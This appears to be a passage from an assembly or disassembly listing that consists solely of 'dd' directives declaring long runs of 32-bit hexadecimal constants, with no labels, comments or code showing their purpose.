		dd 0E6D8A9B6h, 11476701h, 6141CC1Fh, 75B06D85h,	0DC48D1D9h
		dd 0BF8F7E64h, 6B1C5867h, 6229E0ADh, 62DF8776h,	0D1A951A5h
		dd 483EFE6Fh, 0D01FB74Fh, 1EA042CEh, 0CDF9FA43h, 0E9E5C919h
		dd 0B7E75BF0h, 0C02F43h, 78741746h, 6F01D58Eh, 0C920E0F9h
		dd 76A99EA4h, 0D444DC6Bh, 7A305AFFh, 4FCF159Dh,	0BF84EE17h
		dd 0C8F1C212h, 0BE5A91B0h, 52DA71ADh, 315B8E18h, 9320BD1h
		dd 0C376A860h, 1BF0B9E0h, 704B7793h, 4F2C2168h,	56D1FB4Dh
		dd 9A4911E6h, 344F0911h, 4023A893h, 2D4B5719h, 715F4DA7h
		dd 0C6E36A31h, 21ED2E5Ah, 0B8162551h, 30A4EFBFh, 0D4B53472h
		dd 0E3C571Bh, 0C6015F2Dh, 0DD01974Ch, 0EE2B8FDEh, 285D31Fh
		dd 0BAB16C13h, 4007C9CAh, 591B1FC4h, 990442E8h,	2D7DC7B5h
		dd 53BD09C1h, 0F6A0528Eh, 0DD082E15h, 29D03028h, 3416FCE7h
		dd 2DDD150Ah, 89A2B200h, 0C0A8503Eh, 0C1A7352Bh, 61C9B075h
		dd 6832079Dh, 0C7D32902h, 6094B18Ch, 0F7B22677h, 6615F663h
		dd 0D256942Bh, 6F33BB4Bh, 786CDE6Dh, 352C6075h,	0A53B0080h
		dd 0EE458672h, 7D6DA58Ch
		dd 0DDD54820h, 1BE3EC85h, 0EF476E73h, 37FB75CAh, 0B57D3278h
		dd 93BCCBBBh, 84285AF0h, 0BA1E381Dh, 0B1B41EF9h, 0BE2960FDh
		dd 0A0B21DECh, 8AC5AFE3h, 0C2C81B91h, 0AF6576E1h, 0C6A0ADEh
		dd 0B84B9C0Eh, 0FBD73424h, 0D6D659C8h, 48440F71h, 0FCE8B6DFh
		dd 0D645D69Fh, 653C2F9Bh, 4273FE50h, 6BAA697Bh,	0CC7F1654h
		dd 83C67C04h, 120986ABh, 31767799h, 1FBD89B2h, 6BF2E76Ah
		dd 0FF3BB362h, 7D4344Ah, 2FBB3B86h, 0C247A44Ch,	9BA8075Dh
		dd 43FD9E16h, 0A79E0143h, 10BBC2E4h, 8BFAC4F6h,	7AB9E52Dh
		dd 0A21FED4Ch, 14D14775h, 8C7D06C5h, 7A12058Ah,	67638B1Ch
		dd 6AA54435h, 92462C80h, 7249B5A3h, 4D4AFh, 958DE21Ah
		dd 0BB337D08h, 9A50326Bh, 8858E136h, 329FF736h,	7C32E000h
		dd 99C8F353h, 0A534C772h, 6F27A405h, 3420BD8Dh,	0BB926899h
		dd 7DF1414Ah, 0DE73C2F6h, 13D7E5FDh, 1D812A4Dh,	68B1B005h
		dd 0C1987CACh, 0BB9ADE3Fh, 0F1220753h, 0F0368A07h, 944C1C87h
		dd 0CDC2A56Bh, 655D08E1h, 0BAB56A6h, 0DE3B3DF8h, 0DB6F7F21h
		dd 0C8B71561h, 0D4C807D4h, 0B73BB21Ah, 8FFE3430h, 0EAEBBF5Dh
		dd 7EB6E2B3h, 0A3B64C16h, 9C5F403h, 5ADEEC33h, 1F6E09C7h
		dd 10F51BC6h, 0C0C78FF9h, 4A80CCE2h, 0A93623B6h, 9AAFC474h
		dd 9715843h, 0E528FA3Dh, 349C52CFh, 4CC3CAD8h, 0F87E5411h
		dd 598F925h, 4DF93F01h,	44DB3A9Dh, 6A76A8F3h, 861DB040h
		dd 560B72B3h, 4A781E64h, 90689123h, 0D5F2CDAh, 0E1CE2A6h
		dd 0F1F18DC9h, 0DED29718h, 0B9F621BDh, 7E2610DBh, 6E9CE0FCh
		dd 10518CFh, 0AFAA72F8h, 0AD24B040h, 0E60853FDh, 0DA199BBDh
		dd 8C9CBDA3h, 4A73CC8Bh, 6A0B4CFAh, 38422009h, 630A1378h
		dd 0E7D5AD76h, 7E6CFD7Eh, 11AC967Ch, 62345F26h,	724E3CD4h
		dd 0F0E3F36Fh, 0EB9D642Ch, 0D7363DCCh, 18D29670h, 69A2FCEAh
		dd 8AE9795Bh, 689C33A8h, 5F3D8B96h, 6D5C28EBh, 0AF36D948h
		dd 641E4590h, 2A73557Ch, 43325DADh, 0D17382E2h,	7BBFE26Fh
		dd 5A1CACFEh, 0C9CDF5C8h, 0ED4B36D4h, 65013ABh,	0AEBD7DF6h
		dd 0ECDA92FCh, 0EB63ABE7h, 2A6CBC94h, 7EEC252Fh, 356A8DD7h
		dd 0F83EF46Fh, 279143C7h, 0D9B9360Dh, 0EE917F38h, 0B301C5DBh
		dd 8540B23Ch, 70C1082Ah, 4CDACDE4h, 0BBFE0527h,	1A4C912Eh
		dd 93308C6Ah, 8B4CFD36h, 21850BCCh, 352EAD2Eh, 972BDE4Ch
		dd 0FE692431h, 0FB93D679h, 803892CCh, 6CC70EC4h, 5C4C0CF7h
		dd 7B648F28h, 0E27DE77Fh, 0BC1A16CAh, 2F8B81BBh, 87171BD6h
		dd 733821Eh, 0E59E764Ch, 23F9D749h, 5F13419Bh, 0FC9D2C32h
		dd 67F28C4Fh, 6F1DFC88h, 0E637B3E2h, 4528A721h,	1460716h
		dd 5D0D263Ah, 0FABA66D4h, 911474E9h, 0C7CF14CBh, 80608C47h
		dd 1F4D484h, 393AAAA7h,	0F5DFF8DEh, 15461E97h, 92ED63AEh
		dd 138CDA59h, 9D91CB89h, 4D1671Bh, 0AD913E0Dh, 62372992h
		dd 8E9F6F0Fh, 53F930F2h, 0C9B0C890h, 1409D619h,	0FB9AA99Bh
		dd 9D3410BEh, 1AF38B6Ah, 10F9857Eh, 30866420h, 79F1C30Eh
		dd 16E80560h, 0B373F599h, 0E7BE56h, 470891B7h, 95917E99h
		dd 1B51D21Eh, 6CB87E11h, 0CF53F7CCh, 0D28EF360h, 0ABB6D3Dh
		dd 0A3F59F09h, 0E9DC6A94h, 810B5D8Ah, 58599EB9h, 6689EB78h
		dd 0D5F6EF1Fh, 0A5415AF2h, 4BEE4ABFh, 0BE242E40h, 1A2068CFh
		dd 8492FFC2h, 14731945h, 0BE4CE3FFh, 95B873AAh,	7985F0EFh
		dd 694B598Ah, 0A8CFFC6Fh, 0A53253C1h, 6311F2C7h, 27627BD1h
		dd 10044C1Ah, 0C7E36AB5h, 66EC90Dh, 0D6446DF8h,	266A3657h
		dd 94427A33h, 0FCB0F85Ch, 4AE91732h, 18D67F96h,	0E903A10Ch
		dd 307EA322h, 7D191C9Eh, 0D1259659h, 0B19285DFh, 9C1E5DB7h
		dd 0FCC68CDBh, 3ADFC84Bh, 0DE31B92Ah, 83C33A2Ah, 68F09B22h
		dd 88378E85h, 92DF4C12h, 81588036h, 56BEB1DFh, 0C0CAE81Dh
		dd 0B6E47158h, 0DFC9F095h, 3F8EDDFFh, 91D7C667h, 120225F7h
		dd 1434E59h, 49F8300Ch,	443EFF12h, 20C5CDC9h, 0C94A4B54h
		dd 0B26747EBh, 52F627F0h, 9FBA1520h, 4265CEB4h,	207B9E78h
		dd 0B1672193h, 1A068DA2h, 0BDFBC45Fh, 6DDC457Eh, 79BC96F7h
		dd 0BC502911h, 0B7624881h, 9C41A387h, 99D25452h, 0B8E70240h
		dd 939A712Dh, 0B10184CEh, 0AF9E7D62h, 7E271A2h,	0CDCC68B0h
		dd 19026B2Ah, 196ADECFh, 2F048656h, 0AEFAB876h,	0E0E47879h
		dd 5E1FBF7h, 0C64B412Ah, 50A344F1h, 799E1C82h, 0DBA41A22h
		dd 0A5808BA8h, 96099D76h, 54FEEE06h, 122DBB2Bh,	8ED15B99h
		dd 75663BACh, 0E35880E6h, 0DED9E35Ch, 0BA0CEAEFh, 7A5534DBh
		dd 0A176DB73h, 49D2ADA5h, 9A1CB420h, 124B7580h,	51B859B0h
		dd 505EA83Dh, 8580AD4Ah, 7BEAC86Ch, 0EAC1917Ch,	0F933306Bh
		dd 8ADD589Bh, 0E857F9B4h, 312697B8h, 4CEB970Ch,	2615C17Ch
		dd 0CAB8104Fh, 0B9B7A1A2h, 86B6284Ch, 0E6DA8725h, 0F46A9C26h
		dd 0A73659BDh, 0BA75F4DDh, 0EB1A9FCEh, 0DDA7BFE7h, 0B0A3F0CFh
		dd 286684BAh, 63FA74A0h, 0AC9275D5h, 593D2535h,	0ADD2ABACh
		dd 48D7D6E1h, 0BCE156AFh, 0D98E5C84h, 5F431C99h, 2D92B6D1h
		dd 0FD4425A9h, 360E59CCh, 0A4B0E196h, 51981D5Fh, 3B4F3F96h
		dd 0F3E671A6h, 0D4299FD0h, 0D1E1398h, 0C50FE589h, 97D49040h
		dd 6952618Ch, 0A838B028h, 0D59D7E4Fh, 85C799C4h, 0F8F9D67Ah
		dd 5F1BF9A3h, 0C4FB2EFBh, 9EF7A953h, 0BC496E1h,	366BAC19h
		dd 1B3D5816h, 5BFFDDCDh, 0D269FA92h, 6410B005h,	0A82C7DA2h
		dd 389D7878h, 93FD3B16h, 1E8C8705h, 382D88C2h, 0F7E33248h
		dd 52A03516h, 62397072h, 929BEAC3h, 276B8B98h, 6BCECB0Fh
		dd 0D0C584D5h, 0A9F90051h, 0FA3115CAh, 9B69C3A8h, 0AA78B9BAh
		dd 67187A28h, 0C508F342h, 5DBDB6Ah, 97109027h, 1EA0ED7Eh
		dd 3DF95255h, 0A685468Ah, 0C85CBA4Fh, 0FC03F29Fh, 0E728245Bh
		dd 9699C33Ah, 6C773451h, 39AC3E01h, 0ADAA67A0h,	826C36D9h
		dd 476DA3CCh, 0D5325145h, 1BE32634h, 6643775Dh,	0AAE8EA22h
		dd 76640F34h, 5AF807A6h, 0AA1C767Eh, 6F46DDCDh,	0E20A033Bh
		dd 5BF9F52Ah, 0B7564A8Ah, 9B5BFA4Ch, 96D2B74Dh,	0AA2B9011h
		dd 0DD43C021h, 0A24BE7D8h, 0C210F1BCh, 850237C9h, 8C643CF7h
		dd 2FE26A4h, 1D765283h,	0F9B8A281h, 23642EF5h, 61278B7Eh
		dd 0CC4C41FAh, 0E7250494h, 113E91A4h, 1998A40Ch, 0BECBF7A8h
		dd 0EE8A4EBh, 16ED22EAh, 5B2F4B9Fh, 0DF56D9Ah, 8F5511AFh
		dd 8B31378Fh, 67FBADCBh, 802FCE57h, 0FDB82495h,	0D7A03F3h
		dd 411C90BFh, 46C760C4h, 504538C9h, 187B83C2h, 7593D983h
		dd 0B9097729h, 1544B7BEh, 8EB0F97h, 0E7AA381Ch,	3EC3C254h
		dd 41499808h, 0CA3669CBh, 895F76FBh, 0D6EFE2E7h, 0E4D9C49Eh
		dd 9A364464h, 2E5CC4D5h, 0CEBE1F1Bh, 1AF5FBD4h,	2C7E8942h
		dd 0A09793CBh, 0BB8779B8h, 9043EC53h, 5C950FA0h, 50C1939Dh
		dd 0B7B466C7h, 0E44A0331h, 3A7077E1h, 42AB8E0Ah, 2B2C21E7h
		dd 7136DAF7h, 4D05EFC5h, 71133A3Ah, 273BFB86h, 0FD5506F3h
		dd 94EC82Eh, 0D4FC7258h, 516C8267h, 0FFACBE9Dh,	332E35E5h
		dd 1E4532CBh, 3F2ED65Dh, 1570D5C5h, 6F5B21BAh, 96DB99E2h
		dd 3C3440F9h, 0D2F76C9Eh, 0ECF46E0Dh, 46611E66h, 3A6BBCF2h
		dd 63C44B87h, 88602DD9h, 4DB1AA53h, 0E6A1477Ah,	5404DED5h
		dd 55604561h, 302F1E97h, 0CC04763Ah, 86E3DDF1h,	9C6D1DE9h
		dd 0C227B9BFh, 0E4A71197h, 94111836h, 3E98C75h,	19E3B4E4h
		dd 5F2A4556h, 8B22871Eh
		dd 0CDA872A7h, 22F19603h, 0E6AC2429h, 0EB470447h, 0EC4AA572h
		dd 270C1E9Ah, 0F02CD63Bh, 8C40782Ch, 0C3A913A5h, 85655720h
		dd 0D341FEB6h, 6D45B28Ch, 0EF6FAF0Dh, 3BAC30C0h, 0D0686863h
		dd 7C84C006h, 5D4CAB7Bh, 0DBAE3F8Eh, 5B39632Bh,	5596B385h
		dd 7FA71DE7h, 18C0F44Eh, 15DDB481h, 5A0557B2h, 0B0A563FDh
		dd 0EC81444Dh, 99AE4B19h, 2C8A1C3Ah, 6FCF0524h,	4BC6374Ah
		dd 0FD5E526Ah, 0F7343193h, 2435ED95h, 6B6CB88Eh, 9690D230h
		dd 0D2174A65h, 5F1F6CFFh, 9BEFD2A8h, 0D1EB25C4h, 0BBDF8F73h
		dd 13662670h, 0F3EBB5A3h, 461663C3h, 48EF5029h,	85F09F9Bh
		dd 0DDBA2633h, 2BC3CB41h, 0FB74FF9Ch, 5BF63DABh, 9316BBDEh
		dd 18454A8Bh, 0B0656EE9h, 7803B7A7h, 0FA396EB6h, 893773B4h
		dd 4FD7E864h, 8A9CB49Ah, 0D4315660h, 0F960CE19h, 19720C5Eh
		dd 144D216h, 0A7936C8Dh, 0A0F67CBBh, 0A3BAAB34h, 49B56327h
		dd 1E2E98FCh, 4EEA4E40h, 0FA1480BFh, 0C16D9EDBh, 56B96AA0h
		dd 0E932805h, 29B51376h, 0F8567881h, 0AFBFD1E3h, 50652E51h
		dd 0BD302F8Fh, 5E3497Bh, 27F2E299h, 8E4B96FAh, 0BF91B80Dh
		dd 2D246EBEh, 6C6277Eh,	0BBD6B57Fh, 72070C09h, 0C539DEB7h
		dd 0A2BE45D9h, 0D1F444D0h, 947284F1h, 7F796FA7h, 0E8C2F0DDh
		dd 0B374EBA8h, 0C7275600h, 34626171h, 509841F0h, 8B4C49CBh
		dd 0B1EA30DAh, 0E25ED74Dh, 74A4FB2Bh, 86E0204Ah, 2823EA9Dh
		dd 46FF60A2h, 0E68E4AE6h, 7CFBA4B5h, 5C91DA65h,	0C293392Bh
		dd 0A5F69D89h, 2C2124CEh, 0C3DF30E8h, 0DCE90816h, 917E6CAEh
		dd 5BB79EC9h, 4D1B7A4h,	0F635647Ch, 949DDCF8h, 0DE383A23h
		dd 8297D043h, 2C3A0C1Ch, 912B1007h, 0BD6213F0h,	0F862A83Dh
		dd 90D77765h, 22FA9A73h, 0B3EDBF61h, 0BAD94BCDh, 0CE7A410h
		dd 0C944E588h, 0F30F627h, 0B626BAC9h, 0F4190AB8h, 7C5D0954h
		dd 0B014FEDCh, 8B0ABF6Bh, 0F16070ECh, 0F277FCBFh, 0B9D6A551h
		dd 368EEB87h, 7A7AF725h, 1FCD2B1Fh, 0F4B65ED8h,	0A546C520h
		dd 8F53DE42h, 0EB0EE8D5h, 0C68BFCC1h, 2A8EA27Bh, 0F240A9h
		dd 0F1BF64B8h, 1B69AA5Eh, 0C2CCE159h, 61AE0CBh,	7DC5F7CEh
		dd 2F63CF35h, 66D17CC3h, 5F8C67EDh, 7AC2ACEh, 9F6D28C6h
		dd 737C94ACh, 20CDA39Dh, 0D5548E37h, 5C022563h,	7ED6FCA9h
		dd 0FB6D0985h, 58B2045Fh, 6B17FE6Fh, 2451E759h,	9F20E0E4h
		dd 0DACB18D1h, 0E957355Dh, 0EFE21E1h, 0B0808066h, 0EB5E8304h
		dd 0D1B458E0h, 0D2141269h, 51259D90h, 0AA3CF226h, 4DBB77EAh
		dd 6831A811h, 0FB7A7C20h, 58023DD9h, 278C180Ah,	3620DD94h
		dd 5204EC8Eh, 5D4DF29Ch, 0EA6461D5h, 80E91FDBh,	0F37D55E3h
		dd 0BFF262C6h, 7339DDF5h, 0FC74E0B7h, 2DF4959Eh, 1A08E216h
		dd 0AB5C6001h, 0DA4C7E47h, 91F5073Ch, 4E7A18B9h, 75055D7Fh
		dd 9EE9834Dh, 0BAF34834h, 5656520Eh, 7B3D8E9Eh,	990F614Eh
		dd 49B8AEBAh, 4CC8917h,	0F43FB4EAh, 79F97384h, 0FFE76416h
		dd 0AAE2D02Ch, 2E664FB9h, 1B089603h, 9B366AFAh,	15C35D25h
		dd 1AA2222Dh, 0E0ABFB81h, 8FA02BD2h, 0D417ED71h, 2EC3F92Bh
		dd 29D27722h, 25321F2Dh, 58EA10BEh, 0F02C5C69h,	0BF8CEBAEh
		dd 67C4B8A5h, 4AEF4A0Dh, 9FB610E6h, 9E56261Bh, 8D666D70h
		dd 0EC45FF8Dh, 658D30Bh, 99C86D62h, 48A387B3h, 38BDD598h
		dd 0E794FA9Eh, 8E46C3ACh, 0B5CC56C2h, 0E55AB45h, 6BF687BAh
		dd 78F76C86h, 0C84E4FE8h, 9DB5594Eh, 8FDCC906h,	83B94731h
		dd 0AA32835Eh, 0AB4ED8E1h, 45D85F02h, 5A452516h, 0AA718903h
		dd 0B4C0D230h, 6A069B0Fh, 0CB7C1D7Fh, 0E789EE91h, 882D0826h
		dd 7FDC5323h, 9C860AC8h, 1BBE3E10h, 0EB814F18h,	0B4930370h
		dd 6D257562h, 28515A44h, 2FA6DBDCh, 4FCD7473h, 4588133Ch
		dd 27A40E50h, 0F86BBA43h, 74E33FD1h, 45B157Ch, 0DD4E15DAh
		dd 75C549E7h, 0C425A2F2h, 0D00A559Ah, 9B00644Ah, 0A2C14617h
		dd 42908EA6h, 0ACC27B9Eh, 2187D7BBh, 5BA1B399h,	0FEF0E1E1h
		dd 35B5E184h, 3C66587h,	5A4F3B14h, 0C9E2C713h, 0E1F953CDh
		dd 0AB54F1A3h, 0C862D104h, 2BB58CD0h, 24C4BC1Ch, 0F748A539h
		dd 508AC000h, 733C278Ch, 0FDDA3768h, 0F91C9016h, 8021576Dh
		dd 9418FC49h, 15CFABBEh, 641F284Dh, 41F555D9h, 0A2B88A54h
		dd 33E4A4A4h, 4B3A728Dh, 3094DB91h, 0BFCA3323h,	2C25A66Ah
		dd 80817B3Eh, 0CCA6435h, 0BD9D89D2h, 7DDA925h, 0FF0B567Ch
		dd 1FEE1172h, 733C03EEh, 0F4C5A03Ah, 0F975F097h, 0F354D70Ah
		dd 6F621DBh, 2C30D50Bh,	8BBAAB88h, 0F45E22DDh, 8BE63F17h
		dd 0D91215FBh, 0C091136Eh, 6C8C592Dh, 4FB6C674h, 496E09D3h
		dd 59D85F4Fh, 46554A7Ah, 0ED1C005Eh, 402B723Fh,	3B6D4D70h
		dd 7113913Bh, 7154CF64h, 9F24ADA7h, 6A7D748Dh, 7B952E0Bh
		dd 4BB8B505h, 3D0E4629h, 0AAEF6D51h, 0E52485E1h, 5C212799h
		dd 0E797CFDEh, 3EB5A186h, 824AB803h, 5BFD3DBDh,	0D3B704A6h
		dd 2FFAD32Fh, 6FB64A5Ah, 0C4DD88A1h, 0A3854630h, 0E6A6E6D3h
		dd 8A35074Ch, 0E9DB576Eh, 0EC41EB5Ah, 0D8B7A29Ah, 4961A9FFh
		dd 0AF144949h, 8E2B7834h, 3F7AE2E2h, 2D9C98B9h,	0FA28F92Ah
		dd 80BC5A53h, 8F74ED62h, 853DE24Fh, 670A9F8Eh, 2515AFF9h
		dd 3038AEA8h, 0E8116E2Eh, 40DDE5E4h, 0F06A98DDh, 0D4CE2AE1h
		dd 7B6F20E2h, 0DBF866E3h, 90208B50h, 38259F05h,	27EC58B8h
		dd 295459BAh, 88D3FAB3h, 372F8AABh, 28346339h, 259CA999h
		dd 509B3398h, 0BCBEF41Fh, 1528EFC6h, 260FE614h,	0ACCDCF35h
		dd 1036D4DEh, 0B8A29A0Fh, 0A03F67D8h, 9DBB9CB9h, 0DA558DD2h
		dd 2C3134h, 0C3D0BDBDh,	0DCB3FC68h, 8C07FF9Ah, 1FFF3F94h
		dd 96C09DF3h, 982575B7h, 54CC5E91h, 98C2AE80h, 0FBDDF06Bh
		dd 9BD19A3Bh, 0B198330Eh, 7C5853E3h, 7A02B72h, 55718A7Fh
		dd 0EE44A963h, 7BE48C0Eh, 0B8187E25h, 0FFEB8714h, 66164E4Bh
		dd 0CAE1BA3Ch, 0B57D0D07h, 7BF4BC24h, 0E3DB3378h, 1021DAA6h
		dd 135FFFD6h, 0D8DAE67Ch, 83992BBAh, 0ECA743F9h, 99981B64h
		dd 0FDF1537Ah, 4E21C5ACh, 53207E6Ch, 2F3CB5CDh,	92942119h
		dd 0BC5EB715h, 8F6CDE3Fh, 0AB3A59C8h, 2D81D4F2h, 119B6692h
		dd 42CED69Dh, 0C3FF8F9Eh, 0D8B9163Ah, 7C81CBCEh, 0F5B38474h
		dd 0E96EBC81h, 3582BF12h, 9E6C4D0Ah, 820F92A5h,	0CEB502A2h
		dd 567EAA92h, 1A7B3C9Fh, 0BCE67F09h, 33C1ED5Ah,	0DF663618h
		dd 0F8E9BB5Ch, 91882822h, 509A1BCBh, 0DBF0EB89h, 3F696DE9h
		dd 25CE4604h, 70CCCFABh, 5E6EDD06h, 0A5323503h,	434C555Eh
		dd 55025E6Fh, 0B403747Ah, 691FC162h, 1C712C1Dh,	23B00D34h
		dd 82D2BFA0h, 5DE9E452h, 0C2623C6Fh, 44E49995h,	0D4DE26C6h
		dd 2593B54Eh, 13406C19h, 0F2BA3168h, 0F08DDA1Eh, 715DAC6Fh
		dd 0E5C3A141h, 0F22BCA3h, 0E5F9903Bh, 1E7141A0h, 4A8CCEF5h
		dd 23704AC5h, 786A47E2h, 15CC40B1h, 98B33CE3h, 57D29E72h
		dd 0E0C716C0h, 0EA4E6E9h, 0CD215FAFh, 3709AFCDh, 4DE16618h
		dd 14431BDh, 1F31B8FAh,	0DE5FE3BDh, 7E7056E6h, 97F76548h
		dd 0CFF37F39h, 374B91D7h, 445B5108h, 0C4AE13A1h, 0A834E830h
		dd 337BDF8Dh, 82703F00h, 0A9B3BE2Fh, 0F51A9A0Dh, 61FDC4CCh
		dd 60061CEh, 3388659Ch,	9E1D044Ch, 0CA23A191h, 0C95A7D2Eh
		dd 0ED760DB6h, 0C50B009Ch, 399BED01h, 0B975EF4Eh, 0BD5B9CEBh
		dd 0D93F2DDh, 0AE35A8B0h, 33E4D32Ch, 0AA89AD90h, 197E5B8Fh
		dd 9BAD8453h, 96C0C6FDh
		dd 2922549Fh, 213BA23Ch, 0E9E11B21h, 1CEAB60Eh,	3ECA2F3Fh
		dd 0F81169BFh, 0D3E3B08Eh, 9A4EE8Ch, 9700FF3Ah,	1C3107ABh
		dd 8E22B6B1h, 6F6D00Ch,	7A21874Ch, 0A945B13Fh, 0F7DF5C3Dh
		dd 0FE89C84Eh, 95AA9A48h, 590B3B9Bh, 4D44EED4h,	863CCECCh
		dd 0DA6E876Fh, 4A6DEBC4h, 8A0E7359h, 6D1DCB7Bh,	7A3C0C5Bh
		dd 715F36DAh, 0CD7F078Fh, 0E40AF44Dh, 0C98CDF11h, 0EB56F611h
		dd 0BCD138C3h, 2DA11213h, 8024F109h, 0C7091A33h, 0F627E45Ch
		dd 7298E92Dh, 0BB04941Fh, 731812BEh, 0E1E479E8h, 14150750h
		dd 0A72577A9h, 9EDBF52Dh, 4574DD1Dh, 0E66F4893h, 0CA0A09C5h
		dd 21F33407h, 30E91978h, 4480389Bh, 21587CBEh, 6A22A4FEh
		dd 0F3A2E70Ch, 76C7F617h, 30D9F549h, 0F752F242h, 0C40F0DF2h
		dd 9E29CD50h, 0FD3CC5Ah, 779F7025h, 5EECBCE3h, 43D54C2Ch
		dd 8D690857h, 0F8F7FDF9h, 5FEFC681h, 29DA22B7h,	9CBAF504h
		dd 0FE3E35F1h, 88A45A8Fh, 91D22C9h, 8AEF0B7Ah, 224FE607h
		dd 0CC996614h, 0D26943F0h, 7C25A6C1h, 29B18749h, 69AA5449h
		dd 2976A6D0h, 59ADE4C6h, 5ED2338Fh, 0CA757E90h,	0CC14D4FDh
		dd 0DE22E7Dh, 1017A7D6h, 0DBBC7E0Bh, 0D06AA047h, 4AA6EE65h
		dd 0FC7A3A0Eh, 0A58669DCh, 0C854968Eh, 0A20407FAh, 90349E3Eh
		dd 0FA14E828h, 38620902h, 0DCCD1812h, 3D6EA37Fh, 0DB064706h
		dd 39802DCBh, 0F0D1DDCFh, 8C97791Dh, 0B2F03F33h, 43C71A20h
		dd 80A94638h, 1294AB7Bh, 48CC967Eh, 7922DE59h, 491CADBEh
		dd 0B5D2D5B7h, 55965872h, 3E907481h, 0AF67BEBCh, 0F3CE8CE4h
		dd 5B3BBA6h, 0EB9E8153h, 0C115E90Bh, 0F4371798h, 63959E40h
		dd 3754A71Eh, 15D7C589h, 58EF66E1h, 1358A3ECh, 0C06B3710h
		dd 0B0625649h, 49F05207h, 0F4925404h, 2E788752h, 23B70h
		dd 0ECAAE0F1h, 6C1DE94Eh, 0C4DC7C17h, 591CB4FCh, 0CDCE3221h
		dd 0ECB426A3h, 6FE5BF99h, 6C118A28h, 9A451D56h,	0B52D7D21h
		dd 0DFA00E36h, 0C1745684h, 4DAC878Ah, 207834DCh, 0D5467B16h
		dd 608CF6FDh, 358EA3D8h, 4ED90911h, 0AF8E1005h,	575406E7h
		dd 0D85CEB08h, 0BCC3643h, 0C2EF19B4h, 0F1C6D8B5h, 0FCF895BFh
		dd 71E5471Dh, 0C90293DCh, 0EDDD199Bh, 84F1E1A5h, 236AE350h
		dd 0C256A0FAh, 6337AC5Dh, 88DC87E4h, 0C3A3E7B3h, 0AF38EBBEh
		dd 1D1A3ED5h, 93A0F69h,	83F5F3E2h, 4221D71Fh, 8713AE16h
		dd 32162ED2h, 0D71DC9F4h, 50346B36h, 0E1FD7048h, 620A8D13h
		dd 672BAB6Ah, 2AEC4AB9h, 37DF6D3Bh, 0B3089CB6h,	0EFC7C54Ah
		dd 0B12319F7h, 494D2D54h, 7E9EC787h, 875F0EDBh,	0EE598901h
		dd 9801D495h, 1DF7CA76h, 0E12B92E2h, 4ADAB293h,	0CFEB0E39h
		dd 0C2EEF665h, 526B934Ah, 0EF52E759h, 0CFC53D9Dh, 0CCC4B584h
		dd 0C45D980Dh, 749E8B48h, 3A6EA524h, 59C406EDh,	0ECC8E02Fh
		dd 30D5ADCAh, 7186BFBDh, 48CF1A07h, 0B2FD191Bh,	9A25703Eh
		dd 5E124BAAh, 9BE3C9D4h, 0FF05D894h, 78AB7F5Ch,	0E2C0DAFCh
		dd 0F9161E9Ch, 0C1AFBF8Bh, 0B37E33A3h, 7A393D9Ch, 6603C9EAh
		dd 0C223B3C6h, 0BE234610h, 844A33B7h, 0C160DE40h, 68E9AAA9h
		dd 0B4DCD121h, 80B89424h, 63EE7BA6h, 0FF11A416h, 0A6BF4DC5h
		dd 599E8B70h, 7126C695h, 66C8A5BFh, 937676ABh, 5B5341EDh
		dd 0A8779FF2h, 747FF7B6h, 0BB341B70h, 0CEA0CC4Ch, 93043D6Eh
		dd 2CCC173Bh, 2BAE9B1Dh, 6D5D838Fh, 3AA7EFC4h, 0E368486Ah
		dd 72365611h, 5A20577Ah, 7DC5E518h, 5B66BB12h, 0D12F4672h
		dd 75B559B6h, 0C7D77FF4h, 0A6CD749h, 8AA49E87h,	0B83F635Dh
		dd 0D35EECD9h, 3149C038h, 0D12C838Fh, 0CDCB720Ah, 0C7D6C214h
		dd 0B3629620h, 9A283A2Ch, 0D7D88781h, 930A45C4h, 3A86A5F6h
		dd 2D0D9AB6h, 7B160E77h, 7F204829h, 0A5FC24BEh,	0DFC65D42h
		dd 201B4A7Fh, 6A4F9919h, 69880FDFh, 0ADC4ADE3h,	0AD2C4B8Dh
		dd 79109DE6h, 52F48DD1h, 0A39AF714h, 57934773h,	0A0E6DECBh
		dd 8600CF2Eh, 69843503h, 0A16BDCC2h, 11F80FD6h,	66CE41B9h
		dd 4C78BF85h, 0D02C26ABh, 85CD2DF8h, 3B55C12Bh,	0BEF10288h
		dd 69D15F8Fh, 6FC0EDCEh, 75B0A7A9h, 56E9B115h, 4DA52D00h
		dd 0D8E8A98Bh, 0ED54722Bh, 46D0E681h, 0AA80846Dh, 9C963E08h
		dd 53614BDDh, 0B526696h, 0F3164F9Ch, 0AD7FAAD7h, 0A7763E9h
		dd 1204F62Eh, 0CC871BB3h, 7EC934E5h, 0F6325B98h, 93737CFBh
		dd 5EA54A28h, 7A03362h,	9717BEC9h, 0F22529CBh, 6638F75Bh
		dd 10CC2CCDh, 53DD8D9Ch, 5AC97CCEh, 0DD2EFD28h,	7E602F03h
		dd 22BCB134h, 0F514AAE4h, 4728D68h, 83FC0975h, 10FA672Bh
		dd 610BD46Fh, 0DE3C093Fh, 0AAD87F76h, 6EF5C8A9h, 0D4A414AEh
		dd 439F76A5h, 7777D629h, 0E77C05CCh, 97B25B17h,	37986E89h
		dd 3B67B75Ah, 261B122h,	0E6B0A1B1h, 7D267C0h, 0A6F46484h
		dd 7ABAB144h, 63AE80B8h, 1729686Ch, 0ACBE6FCh, 76EBAED6h
		dd 65B72A51h, 0F7422E9Dh, 0C55524B6h, 425E8788h, 6C166C3Dh
		dd 251A6518h, 0F72B43E4h, 39994C74h, 8BF0E7C8h,	0E98857A8h
		dd 45C7A443h, 59BE7E08h, 0D1E98DC9h, 29071D7Ah,	55C93C6Bh
		dd 6871934Fh, 5D456486h, 0F080A354h, 408FAC0Eh,	0B118970Bh
		dd 0F17E7BB2h, 0C7B3F8h, 0E9F0E4D5h, 9E372BA5h,	95C38EEDh
		dd 88AFB66Ah, 43BAFE1Eh, 3841EDE8h, 54E2F9BEh, 31AA3E70h
		dd 0B703D59Dh, 694B074Eh, 0DDFD578Eh, 0BF724075h, 3F93C179h
		dd 88764D54h, 6A88DB8h,	1D26D6D1h, 54143FE6h, 0A10941C2h
		dd 18E782FAh, 19656FA4h, 0E285DAA1h, 6C25F4DBh,	0F5C4159h
		dd 3190808Bh, 2F1FA023h, 76E15507h, 0AEE79F48h,	0A570E966h
		dd 81D39D4h, 63D59962h,	2F9DEBB4h, 0E6CDB6B7h, 548FD03Fh
		dd 0BDBFB8B6h, 58DC8876h, 0FB01ECEDh, 55B8EB44h, 54789DEAh
		dd 2C70DF77h, 3F0824B2h, 2CEB3CCCh, 0D2A260DAh,	5F4448Dh
